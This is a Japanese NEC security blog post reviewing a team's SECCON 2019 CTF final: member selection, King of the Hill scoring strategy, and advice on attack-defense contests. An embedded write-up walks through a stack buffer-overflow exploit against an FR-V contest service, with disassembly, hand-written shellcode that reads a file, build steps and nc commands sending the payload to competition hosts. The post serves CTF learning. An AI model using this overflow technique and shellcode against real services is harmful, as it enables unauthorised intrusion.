サイト内の現在位置

SECCON Final(CTFの攻防戦)について

NECセキュリティブログ

2020年1月17日

あけましておめでとうございます。
NEC サイバーセキュリティ戦略本部セキュリティ技術センターの木津です。

2019年のCTF(*1) Playerとしての活動が終わり、現在、チームnoraneco(*2)として2019年に参加したCTFの大会(全部で94大会)の総まとめをしているところです。そういえば、12/21,12/22に参加しました SECCON 2019 国際決勝の話を、どこにも記載していませんでしたので書いてみようと思います。Writeupを掲載するタイミングからは時間が経ちすぎましたので、次のような観点で書いてみます。

  • SECCON Finalの出題傾向とチーム編成
  • 競技形式King of the Hill対策
  • CTF Finalや攻防戦の対策
  • *1:
    情報セキュリティの技術力を競う競技"CTF(Capture The Flag)"のこと
  • *2:
    2013年に立ち上げたCTFの社会人チーム
    CTFtime のnoraneco のチームページnew windowhttps://ctftime.org/team/12750

SECCON Finalの出題傾向とチーム編成

決勝に出場できるメンバは4名だけですので、毎回チーム編成に悩んでいます。

チームnoranecoでは過去に出場したSECCON Finalの出題ジャンル/出題傾向を整理した結果を参考に、決勝メンバ4名を決めました。参考までに、独自に整理してみた結果を以下に記載します。

SECCON Final 問題ジャンル別出題件数(出題傾向)の整理結果

問題ジャンル 2013年(件) 2014年(件) 2017年(件) 2018年(件)
Web 3 2 1 0
Pwn(*3) 2 2 0 0
Reversing 0 0 2 2
Crypto 1 1 1 1
Ppc(*4) 0 0 1 3
Network 0 1 1 0
Misc 0 0 0 1
  • *3
    システムの脆弱性をついてリモート端末の制御権を奪取し、フラグを得る類の問題のこと。オンラインゲームのユーザが"own"をミスタイプしたことからpwn という言葉が生まれ、「勝つ」や「打ち負かす」といった意味のスラングとして定着したとのこと
  • *4
    問題を解くためにプログラムをチューニングしていかないとフラグがとれないような問題。競技プログラミング的なジャンル。

複数ジャンルにまたがって出題されるケースもあります。2つのジャンルにまたがる問題の場合は1つの問題で2件(各ジャンル1件ずつ)でカウントしました。
少し整理してみた結果、Web,Pwn/Reversing,Crypto,PpcあたりがFinalで出題される可能性が高そうということが見えてきました。

上記を参考に、2019年は次のようなメッセージをチームメンバに通知して決勝メンバ4名を決めました。

例: 決勝メンバ選出方法の通知文の概要
SECCON予選を含め、今後のCTF世界戦での点数獲得率(*5)の合計値で、決勝メンバを選出します。決勝メンバ届け出の締め切り日(11月中旬くらい)までの世界大会を対象として点数獲得率を計算していく予定です。
4つのカテゴリpwn,rev,crypto,web で、それぞれ点数獲得率を加算していき、各カテゴリで点数獲得率の大きいメンバを1名ずつ選出します。

  • *5:
    点数獲得率 = 個人の獲得した点数 / 1位のチームの獲得点数 * 100(%)
    獲得した点数が1000点で、1位のチームの獲得点数が5000点の場合、点数獲得率は20.0。試合毎に点数獲得率を計算していき、点数獲得率の合計値の高かった人が本戦の出場権を得る。

Ppc/Network/Miscは各ジャンルを得意とするコアメンバであれば解けるはずという見解で外しました。

この方法で決めたのには2つ理由があります。一つはチーム内でのメンバ選出でもめないようにすること。もうひとつは、チーム内の決勝メンバ選出期間中、チームメンバ(決勝に出たいメンバ)のやる気が変わってくるという点です。

出場してポイントを稼がないと決勝に出場できないということもあり、週末のCTFの参加メンバが増えて、この期間のCTFは盛り上がってたのしいです。社会人チーム特有というわけではありませんが、社会人チームの大きな課題として「平日仕事で疲れているので週末は休みたい。週末CTFの参加メンバが極めて少ない」といった課題があるのですが、色々チーム内でやり方を考えてみるとモチベーションアップできておもしろいかもしれません。

競技形式King of the Hill対策

King of the Hillと書きましたが、一言で表現すると、Attack Point とDefense Pointの合計ポイントを競う攻防戦形式のCTFです。図にすると次のようなイメージです。

Attack Point(①)とDefense Point(②)の合計ポイントを競う競技形式

先にDefense Pointを書きこめたチームが競技を優位に進められ、妨害などにより他チームの書き込みを妨害できたりします。先に丘に登れたものが優位に進められるといったことからKing of the Hillという名称がついたのだと推測しています。

2019年は問題サーバが全部で6つで、6つのサーバの内、Defense Pointの対象となるサーバが5つでした。Attack Pointは各100点で、全部と解けると1800ポイント取れるようになっていました。

Attack Pointは1問あたり100ポイントですので、稼いだAttack Pointは少なくても、Defense Pointの対象となるサーバを1つでも抑えることができれば5位以内に入れる可能性があるという配点になっていました。2013年からAttack Point/ Defense Pointの名称は変わりましたが、Defense Pointが極めて重要になってくるのは昔から変化していません。

優先度付けのため、Defense Pointはもう少し細かく、次のような観点で分類していった方がよいと考えています。


a. Attack Pointの問題を解かないとDefense Pointが取れない問題
b. Attack Pointの問題を解かなくてもDefense Pointが取れる問題

x. Defense Pointを取れるのは1チームのみ。早いもの勝ちで競技の最初から最後までDefense Pointを占有できる問題
y. Defense Pointを取れるのは1チームのみ。競技の最初から最後までDefense Pointを占有できない問題。後半で挽回することも可能な問題(例えばSECCON Final 2019 サーバ四)
z. Defense Pointを取れるのが1チームのみではなく複数チームで分配される問題

勝つためには、aよりもbを優先すべきと考えています。
前述の通り、先にDefense Pointを占有できた方が他チームと比べて優位に立てるからです。

Attack Pointは後から(例えば2日目朝一)でも回収できる可能性が高いため優先度は落として考えたほうがよいと考えています。

x,y,zについては、解けそうな場合はx優先と考えています。yとzは後からでも得点できる可能性があるためです。

上記のような分類に関する情報は問題文には記載されていません。
問題文からある程度推測は可能ですが、問題を解き進めないと見えてこないことが多いです。このあたりがKing of the Hillのおもしろいところと考えています。

後からDefense Pointの占有を取り返せるような問題が多い方が競技がおもしろくなりますが、他チームに先を越されて手詰まりとなる問題も必ず出題されるというイメージがあります。

上記のような分類/優先度付けに関する失敗事例として、SECCON Final 2019 サーバ参の問題をチーム内の勉強会で共有しました。参考までに少し記載してみたいと思います。 「あぁ、それやったら駄目だよね」 と反面教師にしていただければと思います。

サーバ参の問題は概ね次のような内容でした(認識間違っていた場合はすみません)。

Attack Point(4 flags, 400ポイント)

  • サーバは全部で23個。それぞれプログラムの脆弱性を利用して、サーバ上の秘密情報(word.txt)を参照する
  • 各サーバはそれぞれ次のCPUアーキテクチャ上で動作する
    ARM,MIPS,PowerPC,Aarch64,V850,FR-V,MicroBlaze,SH64,MIPS64,H8,Moxie,M32C,MN10300,MSP430,CRIS,CR16,M32R,SH,Thumb,Blackfin,RX,MIPS16,M.CORE
  • 23個のサーバの内、4つのサーバのみにflag文字列が格納されている。19個はダミーフラグが格納されている

Defense Point(5分毎にMAX 20ポイント獲得可能)

  • サーバはAttack Pointと同じ。リモートサーバ上の秘密情報(password.txtとkey.bin)を脆弱性を利用して読み込むエクスプロイトを書いて、password.txtとkey.binの内容をxorして復号。復号したデータとディフェンスキーワードをフラグサーバに指定フォーマットで投入すると加点される
  • サーバに送信できるメッセージ(エクスプロイトコード)のサイズに上限があり、サイズ上限はトップチームの投げたメッセージのサイズに応じて、小さく制限されていく。
  • password.txtとkey.binの内容は接続の度に変えられる

出題されたCPUアーキテクチャは全部で23種類。次のようなタイミングでサービスが公開されました。

(10:42:37) Open new architecture. (ARM)
(10:42:48) Open new architecture. (MIPS)
(10:43:00) Open new architecture. (PowerPC)
(10:43:12) Open new architecture. (AArch64)
(10:43:25) Open new architecture. (V850)
(11:08:40) Open new architecture. (FR-V)
(11:18:46) Open new architecture. (MicroBlaze)
(11:28:51) Open new architecture. (SH64)
(11:38:57) Open new architecture. (MIPS64)
(11:49:04) Open new architecture. (H8)
(11:59:11) Open new architecture. (Moxie)
(12:09:19) Open new architecture. (M32C)
(12:19:28) Open new architecture. (MN10300)
(12:29:37) Open new architecture. (MSP430)
(12:39:48) Open new architecture. (CRIS)
(12:49:59) Open new architecture. (CR16)
(13:00:09) Open new architecture. (M32R)
(13:10:21) Open new architecture. (SH)
(13:20:22) Open new architecture. (Thumb)
(13:30:24) Open new architecture. (Blackfin)
(13:40:28) Open new architecture. (RX)
(13:50:32) Open new architecture. (MIPS16)
(14:00:37) Open new architecture. (M.CORE)

サーバ参は初日から海外勢がDefense Pointをとっていたようでしたので、優先度を下げてAttack Pointを以下のような感じで解いていました。

サーバ参の攻略方法概要 <noranecoのチーム内 writeupより抜粋>

=== writeup ここから === 

どのCPUアーキテクチャのサービスも概ねデバッガの動作する環境およびクロスコンパイルできる環境を構築した後、次のような方法で攻略できた。

FR-V(10.2.3.1:10005) を例として以下に記載する
問題文などからサービスはgdbのシミュレータ上で動作していることが分かった。

はじめにデバッガで動作の詳細を確認する
$ /usr/local/cross/bin/frv-elf-gdb -q frv-elf.x
(gdb) target sim★gdbのシミュレータ起動
Connected to the simulator.
(gdb) load
Loading section .text, size 0x340 lma 0x1400
Loading section .rodata, size 0x40 lma 0x1740
Loading section .data, size 0x4 lma 0x1800
Start address 0x1400
Transfer rate: 7200 bits in <1 sec.
(gdb) start
(gdb) c
Continuing.
This is frv-elf server.
Input name: AAAABBBBCCCCDDDD
OK. Your name: AAAABBBBCCCCDDDD
[Inferior 1 (process 42000) exited normally]

(gdb) disas main
Dump of assembler code for function main:
   0x000016f0 <+0>:     addi sp,-272,sp
   0x000016f4 <+4>:     sti fp,@(sp,256)
   0x000016f8 <+8>:     addi sp,256,fp
   0x000016fc <+12>:    movsg lr,gr5
   0x00001700 <+16>:    sti gr5,@(fp,8)
   0x00001704 <+20>:    call 0x1470 <__main>
   0x00001708 <+24>:    addi fp,-256,gr8
   0x0000170c <+28>:    setlos 0x10,gr9
   0x00001710 <+32>:    call 0x1640 <ready>
   0x00001714 <+36>:    subicc gr8,0,gr0,icc0
   0x00001718 <+40>:    bn icc0,0x0,0x1728 <main+56>
   0x0000171c <+44>:    call 0x1680 <proc>
   0x00001720 <+48>:    setlos lo(0x0),gr8
   0x00001724 <+52>:    bra 0x172c <main+60>
   0x00001728 <+56>:    setlos 0x1,gr8
   0x0000172c <+60>:    ldi @(fp,8),gr5
   0x00001730 <+64>:    ld @(fp,gr0),fp
   0x00001734 <+68>:    addi sp,272,sp
   0x00001738 <+72>:    jmpl @(gr5,gr0)
End of assembler dump.

(gdb) disas proc
Dump of assembler code for function proc:
   0x00001680 <+0>:     addi sp,-32,sp
   0x00001684 <+4>:     sti fp,@(sp,16)
   0x00001688 <+8>:     addi sp,16,fp
   0x0000168c <+12>:    movsg lr,gr5
   0x00001690 <+16>:    sti gr5,@(fp,8)
   0x00001694 <+20>:    sethi hi(0x0),gr8
   0x00001698 <+24>:    setlo 0x175c,gr8
   0x0000169c <+28>:    call 0x15e0 <puts>
   0x000016a0 <+32>:    addi fp,-16,gr8
   0x000016a4 <+36>:    call 0x1570 <gets>
   0x000016a8 <+40>:    sethi hi(0x0),gr8
   0x000016ac <+44>:    setlo 0x176c,gr8
   0x000016b0 <+48>:    call 0x15e0 <puts>
   0x000016b4 <+52>:    addi fp,-16,gr8
   0x000016b8 <+56>:    call 0x15e0 <puts>
   0x000016bc <+60>:    sethi hi(0x0),gr8
   0x000016c0 <+64>:    setlo 0x177c,gr8
   0x000016c4 <+68>:    call 0x15e0 <puts>
   0x000016c8 <+72>:    setlos lo(0x0),gr8
   0x000016cc <+76>:    call 0x1460 <__close>
   0x000016d0 <+80>:    setlos lo(0x0),gr8
   0x000016d4 <+84>:    ldi @(fp,8),gr5
   0x000016d8 <+88>:    ld @(fp,gr0),fp
   0x000016dc <+92>:    addi sp,32,sp
   0x000016e0 <+96>:    jmpl @(gr5,gr0)
(gdb) b *0x16e0
Breakpoint 2 at 0x16e0: file frv-elf.c, line 222.
(gdb) start
(gdb) c
Breakpoint 2, 0x000016e0 in proc () at frv-elf.c:222
(gdb) i r
gr0            0x0      0
gr1            0x1b00   6912
gr2            0x1c00   7168
gr3            0x0      0
gr4            0xa      10
gr5            0x1720   5920★
gr6            0x0      0
gr7            0x3      3
gr8            0x0      0
gr9            0x0      0
gr10           0x0      0
gr11           0x0      0
gr12           0x0      0
gr13           0x0      0
gr14           0x0      0
gr15           0x0      0
gr16           0x1800   6144
(snip)
pc             0x16e0   5856
psr            0x1000107e       268439678
ccr            0x40000  262144
cccr           0x0      0
tbr            0x0      0
brr            0x0      0
dbar0          0x0      0
dbar1          0x0      0
dbar2          0x0      0
dbar3          0x0      0
lr             0x16d0   5840
lcr            0x0      0
iacc0h         0x0      0
iacc0l         0x0      0
fsr0           0x800000 8388608

(gdb) x/32wx $sp
0x1b00: 0x00000000      0x00000000      0x00000000      0x00000000
0x1b10: 0x00000000      0x00000000      0x00000000      0x00000000
0x1b20: 0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/32wx $sp-0x30
0x1ad0: 0x00001af0      0x00000000      0x000016c8      0x00000000
0x1ae0: 0x41414141      0x42424242      0x43434343      0x44444444★入力バッファの先頭は0x1ae0
0x1af0: 0x00001c00      0x00000000      0x00001720★    0x00000000★入力バッファの先頭からリターンアドレスまでのオフセットは0x18
0x1b00: 0x00000000      0x00000000      0x00000000      0x00000000★シェルコードの配置は0x1b00からでよい

アセンブラを使って投入するデータ(シェルコード)を生成する

$ vi frv-elf.S
$ cat frv-elf.S
#define SYS_exit  1
#define SYS_open  2
#define SYS_close 3
#define SYS_read  4
#define SYS_write 5
#define TRAP_SYSCALL 0

        .org    0x1ae0

        .section .text

        .globl  _start
        .type   _start, @function
_start:
_fname: .string "word.txt"
        .byte   0
        .byte   0
        .byte   0
        .long   0

        .long   0
        .long   0
        .long   0x1b00
        .long   0

1:
__open:
        sethi   #hi(0), gr8
        setlo   #lo(_fname), gr8
        setlos  0, gr9
        setlos  SYS_open, gr7

        tira    gr0, TRAP_SYSCALL
        nop
        nop
        nop
__read:
        sethi   #hi(0), gr9
        setlo   #lo(_buffer), gr9
        setlos  16, gr10
        nop

        setlos  SYS_read, gr7;★system call番号はgr7、戻り値はgr8、第一引数はgr8, 第二引数はgr9 (2バイトずつ分けてアドレスを格納する)
        tira    gr0, TRAP_SYSCALL 
        nop
        nop
__write:
        setlos  1, gr8
        sethi   #hi(0), gr9
        setlo   #lo(_buffer), gr9
        setlos  16, gr10

        setlos  SYS_write, gr7
        tira    gr0, TRAP_SYSCALL
        nop
        nop

__exit:
        setlos  0, gr8
        setlos  SYS_exit, gr7
        tira    gr0, TRAP_SYSCALL
        nop

_buffer: .string "\n" ; 
; __END__

例えば、以下のような方法で投入するデータを生成した
$ LD_LIBRARY_PATH=/opt/ctf/tools/cross2-gcc494/lib/:$LD_LIBRARY_PATH frv-elf-gcc \
  -fno-builtin -nostdinc -nostdlib -static -O -Wall -g -o frv-elf.oo -c frv-elf.S 
$ frv-elf-gcc -fno-builtin -nostdinc -nostdlib -static -O -Wall -g -o frv-elf.x frv-elf.oo
$ frv-elf-objcopy -O binary frv-elf.x frv-elf.dat
$ dd if=frv-elf.dat of=frv-elf.dat2 bs=1 count=1000 skip=$((0x1ae0))

$ xxd -g 1 frv-elf.dat2
00000000: 77 6f 72 64 2e 74 78 74 00 00 00 00 00 00 00 00  word.txt........
00000010: 00 00 00 00 00 00 00 00 00 00 1b 00 00 00 00 00  ................
00000020: 90 f8 00 00 90 f4 1a e0 92 fc 00 00 8e fc 00 02  ................
00000030: c0 70 00 00 80 88 00 00 80 88 00 00 80 88 00 00  .p..............
00000040: 92 f8 00 00 92 f4 1b 70 94 fc 00 20 80 88 00 00  .......p... ....
00000050: 8e fc 00 04 c0 70 00 00 80 88 00 00 80 88 00 00  .....p..........
00000060: 90 fc 00 01 92 f8 00 00 92 f4 1b 70 94 fc 00 20  ...........p...
00000070: 8e fc 00 05 c0 70 00 00 80 88 00 00 80 88 00 00  .....p..........
00000080: 90 fc 00 00 8e fc 00 01 c0 70 00 00 80 88 00 00  .........p......
00000090: 0a                                               .

ローカルホストで検証してみる

サーバを起動する
$ pushd .
$ cd bof-server/cross
$ echo FLAG_GGGGGGGGGGGGGGGGGGGGGGG >word.txt
$ popd
$(cd ./bof-server/cross/; ../../bof-sample/src/sinetd/sinetd -h 127.0.0.1 10000 /opt/ctf/tools/cross2-gcc494/bin/frv-elf-run frv-elf.x)
$ ps auxww | grep frv
$ strace -f -p ${PID}

攻撃コードを投入してフラグを参照する
$ cat frv-elf.dat2  | nc localhost 10000
This is frv-elf server.
Input name: OK. Your name: word.txt 
FLAG_GGGGGGGGGGG★成功

攻撃コードを微調整する。読み込みサイズと書きこみサイズを調整して再度検証する

$ cp frv-elf.S{,.org} 
$ vi frv-elf.S 
$ diff frv-elf.S{.org,} 
41c41
<         setlos  16, gr10
---
>         setlos  32, gr10
52c52
<         setlos  16, gr10
---
>         setlos  32, gr10

$ LD_LIBRARY_PATH=/opt/ctf/tools/cross2-gcc494/lib/:$LD_LIBRARY_PATH frv-elf-gcc \
  -fno-builtin -nostdinc -nostdlib -static -O -Wall -g -o frv-elf.oo -c frv-elf.S 
$ frv-elf-gcc -fno-builtin -nostdinc -nostdlib -static -O -Wall -g -o frv-elf.x frv-elf.oo
$ frv-elf-objcopy -O binary frv-elf.x frv-elf.dat
$ dd if=frv-elf.dat of=frv-elf.dat2 bs=1 count=1000 skip=$((0x1ae0))
$ cat frv-elf.dat2  | nc localhost 10000
This is frv-elf server.
Input name: OK. Your name: word.txt
FLAG_GGGGGGGGGGGGGGGGGGGGGGG

サーバ側straceの結果を確認する
[pid 19209] open("word.txt", O_RDONLY)  = 3
[pid 19209] read(3, "FLAG_GGGGGGGGGGGGGGGGGGGGGGG\n", 32) = 29
[pid 19209] write(1, "FLAG_GGGGGGGGGGGGGGGGGGGGGGG\n\0\0\0", 32) = 32

リモートサーバを攻略する
$ (cat frv-elf.dat2; cat -) | nc 10.2.3.1 10005
This is frv-elf server.
Input name: OK. Your name: word.txt
BAD LUCK NO KEYWORD★ダミーフラグ...

上記のようにパッチをあてていない素のgdbのシミュレータで動こすことができるケースについてはなんとかなった。動かないものが難しかった。ローカルとリモートではスタックの配置も異なっているようで攻略しきれなかった

少しずつ解けてきて、よし軌道にのったと思い、全力投入していったが…

  $ (cat frv-elf.dat2; cat -) | nc 10.2.3.1 10005
  This is frv-elf server.
  Input name: OK. Your name: word.txt
  BAD LUCK NO KEYWORD★ダミーフラグ...

  $ (cat v850-elf.dat2; cat -) | nc 10.2.3.1 10004
  This is v850-elf server.
  Input name: OK. Your name: word.txt
  BAD LUCK NO KEYWORD
  
  $ (xxd -r -p h8300-elf.txt; cat -) | nc 10.2.3.1 10009
  This is h8300-elf server.
  Input name: OK. Your name: word.txt
  BAD LUCK NO KEYWORD
  
  $ (xxd -r -p m32c-elf.txt ; cat -)| nc 10.2.3.1 10011
  This is m32c-elf server.
  Input name: OK. Your name:     word.txt
  BAD LUCK NO KEYWORD
  
  $ (xxd -r -p mn10300-elf.txt; cat -) | nc 10.2.3.1 10012
  This is mn10300-elf server.
  Input name: OK. Your name: word.txt
  BAD LUCK NO KEYWORD
  
  $ (xxd -r -p m32r-elf.txt ; cat -)| nc 10.2.3.1 10016
  This is m32r-elf server.
  Input name: OK. Your name: word.txt
  BAD LUCK NO KEYWORD
  
  $ (xxd -r -p sh-elf.txt ; cat - ) | nc 10.2.3.1 10017
  This is sh-elf server.
  Input name: OK. Your name: word.txt
  BAD LUCK NO KEYWORD
  
  $ (xxd -r -p sh64-elf.txt ; cat - ) | nc 10.2.3.1 10007
  This is sh-elf server.
  Input name: OK. Your name: word.txt
  BAD LUCK NO KEYWORD
  
  $ (xxd -r -p powerpc-elf.txt; cat - ) | nc 10.2.3.1 10002
  This is powerpc-elf server.
  Input name:
  OK. Your name:
  8D ★取りこぼしただけで今思えば解けていたのかも...
  
  $ (xxd -r -p cris-elf.txt ; cat -) | nc 10.2.3.1 10014
  This is cris-elf server.
  Input name: OK. Your name: word.txt
  BAD LUCK NO KEYWORD
  
  # (xxd -r -p  bfin-elf.txt ; cat -)| nc 10.2.3.1 10019
  This is bfin-elf server.
  Input name: OK. Your name: word.txt
  BAD LUCK NO KEYW

まさかの解けた問題すべてがダミーフラグという結果! orz
このあたりで変なスイッチが入り。サーバ参の残りサービス(Attack Pointの問題)を攻略するために多くの時間を浪費してしまった。結局Attack Pointは取れなかった。
=== writeup ここまで ===

あとからですが、1日目からサーバ参のDefense Pointやサーバ四のDefense Pointに集中していればと、後悔しました。競技時間は12時間で短めですので、このようにリソース配分、優先度の方針を誤ると後で後悔することになります。

特に重要なのは、Defense Pointを如何に早く占有するかです。
チーム内で情報共有しつつ、チームの方針を臨機応変どう変えていくかが重要になってくると再認識しました。

競技終了後に確認できたことですが、素のgdbのシミュレータでは実行ファイルが動かなかったARM,AArch64,MIPS,PowerPCのサービスを攻略するとFlagが取得できたとのことです。攻略方法をもう少し工夫する必要があったようです。

CTF Finalや攻防戦の対策

難しいですが少しだけ書いてみます。

Finalのwriteup(*6)やFinalの競技形式でよく採用されているAttack-Defense形式の大会のwriteupが公開されることは少ないため難しいのですが、SECCONについてはwriteupが公開されることが多いようですのでSECCONのwriteupを探して学習していくという手が一つありそうです。

  • *6:
    他チーム/個人が解けた問題の解法を整理して、インターネット上に公開している情報

SECCON以外でCTFのFinalの出題内容やAttack-Defense形式の大会のwriteupが公開されたケースとしては以下などがあります。

SECCON Final以外で出題内容および問題の解き方が公開されたCTF FinalやAttack-Defense形式の大会の例:
+ PHDays+VII+CTF
new windowhttps://github.com/HackerDom/phdctf-2017/tree/master/writeups
+ codeblue-2018
new windowhttps://github.com/codeblue-ctf/codeblue-2018/blob/master/result-ja.md
+ RuCTFE 2019
new windowhttps://ctftime.org/event/906/tasks/
+ CInsects CTF 2019
new windowhttps://ctftime.org/event/816/tasks/
+ ENOWARS 3
new windowhttps://ctftime.org/event/828/tasks/
+ FAUST CTF 2019
new windowhttps://ctftime.org/event/776/tasks/
+ RuCTF Finals 2019
new windowhttps://ctftime.org/event/734/tasks/

公開されている情報が少なく、探してもなかなか出てきませんが、CTFのFinalで上位に入るにはJeopardy 形式(クイズ形式)の大会だけでなく、Attack-Defense形式(攻防戦形式)の大会にも参加して経験を積む必要があると考えています。基本はCTFのFinalもJeopardy形式の延長というイメージですが、のんびりマイペースでJeopardy形式だけやっていてもスピードを身につけるのは難しいです。オフラインの大会などにも出ながら実戦経験を積んでスピード勝負に慣れていく必要があると考えています。

Attack-Defense形式については、パケットキャプチャと問題回収が重要です。

パケットキャプチャと書きましたが、他チームからの攻撃パケットは基本平文で流れてきますので、パケットキャプチャしておくと後からふりかえりが可能で、学習目的・研究目的などで収集データが使えるようになります。
もう一つ問題回収と書きましたが、競技開始前に配布されるVMイメージのみでは不十分です。競技開始以降、運営からフラグが各チームのVMに一定間隔で格納されていきます。このフラグが格納された状態でかつ、一定時間経過して各サービスのログが出力された状態のVMイメージを回収するのが重要と考えています。パケットキャプチャしたデータを付き合わせてじっくり見てみると攻略方法/防御方法をイメージできるようになります。

上記2つをセットにしてチーム内で共有しておくと、学習が捗ると思います。

Attack-Defense形式の大会を1回経験すると、どこを自動化して効率UPしていていく必要があるのか、どのような方法でどこをモニタリングしたらよいか、どういう優先度で対応したらよいか、どのような事前準備が必要か、どのように攻撃を防御したらよいのか、などが見えてくると思います。

まとめ

SECCON Finalに関するチームnoranecoの取り組みや思っていることを可能な範囲で書いてみました。
あと、参のwriteupらしきものが見当たりませんでしたので書いてみました。
少しでも参考にしていただけるような情報がありましたら幸いです。

今年もSECCONのオンライン予選から決勝までチームメンバと色々楽しむことができました。SECCON運営のみなさま、楽しいイベントの開催ありがとうございました。
来年も是非継続していただきたいと思っています。1位をとれず悔しい思いをしたので、来年も予選を突破して再チャレンジしたいと思っています。


現在、2019年のPwnジャンルの問題をふりかえりながら一つ一つタグ付け作業やおもしろかった問題のピックアップなどを行っています。
2019年も心が折れそうなくらい問題数が多く、今回の掲載には間に合いませんでしたが、地道に整理作業を続けてアウトプットはどこかで共有したいと思います。

以上です。

執筆者プロフィール

木津 由也(きづ よしや)
セキュリティ技術センター リスクハンティングチーム

主にネットワークセキュリティ製品・サービスの開発に従事してきたが、最近はCTFに取り組んできた経験を活かし、ペネトレーションテスト、脆弱性診断などの領域にも仕事の範囲を拡大中。
2013年にnoraneco という社会人CTF チームを立ち上げ、現在は主にPwn/Reversing 問を担当。
SANS - Cyber Defense NetWars 2019.10 1位(Team)
SECCON 2019 国際決勝5位